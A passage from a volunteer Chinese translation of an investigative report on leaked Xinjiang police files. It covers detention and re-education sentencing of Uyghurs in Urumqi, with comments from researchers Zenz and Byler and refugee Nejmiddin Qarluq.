    再教育由公安部門的內部安全局負責,這個部門本身是一個專責跨國罪案的國安部隊。「那是一個非常嚴酷的單位,常常用來迫害異議者。」Zenz表示。「我完全會預期他們會使用酷刑,當然我不會知道實際情況。」他補充。

    當局後來把這位母親送去職訓中心,「仍然充滿不適和壓迫,」Zenz表示,不過「已經是最寬鬆(的懲罰)」,而且最終會獲釋去做強迫勞動。「在警權國家中,因為你最終可以離開的緣故,這(教導所)是最理想的地方。」然而,這種所謂的職訓中心和中國真正的職訓學校相當不同,真正的職訓學校不會進行政治灌輸和強迫人離開他們的家庭寄宿在他們那裡。

    2021年1月21日,逃离中国并在比利时获得庇护的维吾尔族人、政治活动家Nejmiddin Qarluq在布鲁塞尔的新家合影。 Photo: Johanna de Tessieres for The Intercept

    Nejmiddin Qarluq,一名2017年在比利時獲庇護的維吾爾人表示,因為拘捕往往隨意發生,並連帶著沒收財產的緣故,被拘留的原因不總是顯而易見(譯者注:邏輯上有點說不通)。當他6歲那一年,他的父親才從獄中獲釋。而他本人也曾被監禁三年,然後再被判處囚禁另外五年半。而他其中一個哥哥更早在1996年已經被處以終身監禁,而另一名兄弟則被判六年半監禁,至今仍未獲釋。至於他其他的兄弟、前妻和姐妹則自2018年起被困在再教育營中直至今日。

    因為Qarluq被囚禁的時候年僅14歲,他表示自己獲釋後的生活完全在中共公安的監察下,完全無法感到安全。不旦如此,在國家的控制下,自由或者私隱——哪怕是思想的私隱。「我是那些少數得到機會逃離這個國家的幸運兒之一。」

    數據庫儲存的證據顯示,相對被再教育,被拘留在羈留所的比率可能比外界咸信為高。即是說,維吾爾族和其他身陷這個系統的人正在獄中忍受更為嚴酷的環境。

    一份來自葦湖梁警區的警務報告就記錄了來自水磨溝(烏魯木齊其中一區)被還柙在羈留所或者在再教育營的人數。2018年2月,那一區有803人在再教育,同時卻有近787人還柙。而在葦湖梁區被還柙的比率就比這更高:348人還柙,卻只有184在再教育。

    對此,拜勒指出「如果我們視之為該地區的常態,那是一個相當驚人的比率。」

    「這意味著有近一半的受拘禁人士甚至還沒有進入再教育營系統,只是剛剛開始被處理。」他補充。「那些院所的環境相當惡劣。如果這些報告所報屬實,真的有那麼多人被羈押在這些院所,情況實在令人擔憂。」

    拜勒指出,這些羈留所通常都「從證人口中所知,非常擠擁,環境因此非常惡劣。……他們甚至因為炕上不夠位而不能同時睡覺。」囚室中的攝錄鏡頭無間斷地監控著裡面的情況,而整個晚上也不會關燈。

    而再教育,相形之下,生活條件相對好很多,包括有比較大的中庭(操場?)可供步操和教學,更重要的是,有一個「只要完成了『改造』教育,就可以獲釋,而且還可能很快就可以」的昐望。可惜的是,從數據庫中的文件顯示,至少在部分案例中,這可能只是一個錯誤印象。超過一百宗案例裡討論到的(判決?)都是刑期固定在兩年或者三年的再教育。

    Wenxi社区

    2018年11月5日,干警和户派干部陪同被再教育人员XX(男,维吾尔族......)的妻子XX(女,维吾尔族......)到达坂城再教育节点与(其丈夫)进行面谈。同时,他们接到再教育中心和检察院的通知,她丈夫被判处三年再教育。职教中心告诉(妻子),如果她丈夫在职教中心内表现良好,有可能提前释放。(妻子)对干部说,她可以接受丈夫要被劳教三年的事实,虽然心情很低落,但至少她和丈夫还有一点希望。她也希望丈夫能在劳教所内有良好的表现,希望能早日与家人团聚。警察和干部安慰[妻子]说,不要太担心,要照顾好自己,照顾好两个孩子,以后有什么问题,社区会帮她解决。

    这些判决似乎是以职业再教育的形式分配给那些人的,往往是在他们被长期监禁之后。文件显示,他们是通过一个名为 "两告知、一倡导"的方案被判刑的,"告知 "显然是指关于极端主义的信息(在再教育中提供),而 "倡导"则是指倡导一种提供判决的政策。

    在这一制度下,亲属和干部通常会在再教育中与当事人见面,由法官出具 "预判"和 "预判书",根据数据库中的文件,期限为2至4年。有时,某些要求也会伴随着判决,比如掌握中文技能。2018年10月的一篇报道称,"一些三类人的亲属在了解到'两告知一倡导'工作后,非常高兴,因为这样,至少他们知道亲属出来需要多长时间,他们可以事先安排很多业务相关的事情。"

    在数据库关于这一政策的其中一个例子是,根据2018年11月的一份报告,一名维吾尔族妇女与弟弟一起前往达坂城职教中心接受判决。

    她的弟弟XX,维吾尔族,男...2017年9月27日,因与罪犯同住同游,被八道湾分局收容教养。昨日在中心"两告知一倡导 "活动中,被判庇护罪犯,在职校学习三年。亲属对判决没有异议,感谢党和政府对她的关心和爱护,感谢党和政府对她(弟弟)的帮助。

    "我们之前从来没有听说过有人因为接受再教育而被判刑。"Byler说。"他们告诉你,你必须赚取积分才能被释放,所以你应该非常努力地接受再教育,但现在他们说其实这些人已经被判刑了,他们的再教育课程需要三年或什么的。所以其实就像坐牢一样。这就是这个制度的暴虐之处,就是一旦你进了集中营,你就永远不知道什么时候会被释放。"

    Re-education also seems to be closed off as an option for some of the most heavily persecuted activities.苇湖梁派出所记录了"非法传教人员",列举了50名在押人员,说只有两名在接受再教育。

    Zenz的大部分工作都集中在被官方描述为"职业技能教育培训中心"的拘留营。政府将其定位为对那些犯有轻罪的人进行起诉的一种比较温和的替代方式,但它们往往是以轻微理由拘留的掩护。尽管强调 "培训 "一词,但这些设施可以像再教育中心一样进行强制灌输。

    Zenz此前获得的政府文件曾这样描述这次再教育,在Zenz的叙述中,对那些 "认识模糊、态度消极、甚至表现出抵触情绪"的人,采用"教育转化攻坚"的方式,"确保取得成效"。

    普遍拘留的影响并不限于监狱中的人。一份文件显示,在乌鲁木齐的七个区中,有326名儿童的父母一方或双方被拘留。根据2010年的政府数据,该区人口约为43730人,但维吾尔族人口仅占乌鲁木齐人口的12%左右。"如果你计算该(民族)的成年人口,并注意到有326名学生的父母中有一人或两人被拘留,那这是颇具规模的,"Zenz说。

    文件:与该报道一起发表的文件可在此查阅。


    本段翻译:thphd

    deepl翻译后进行了深度修正润色

    (已完成,待润色)

    翻译/校对/润色:2047字幕组

    • thphd
    • libgen
    • Wolfychan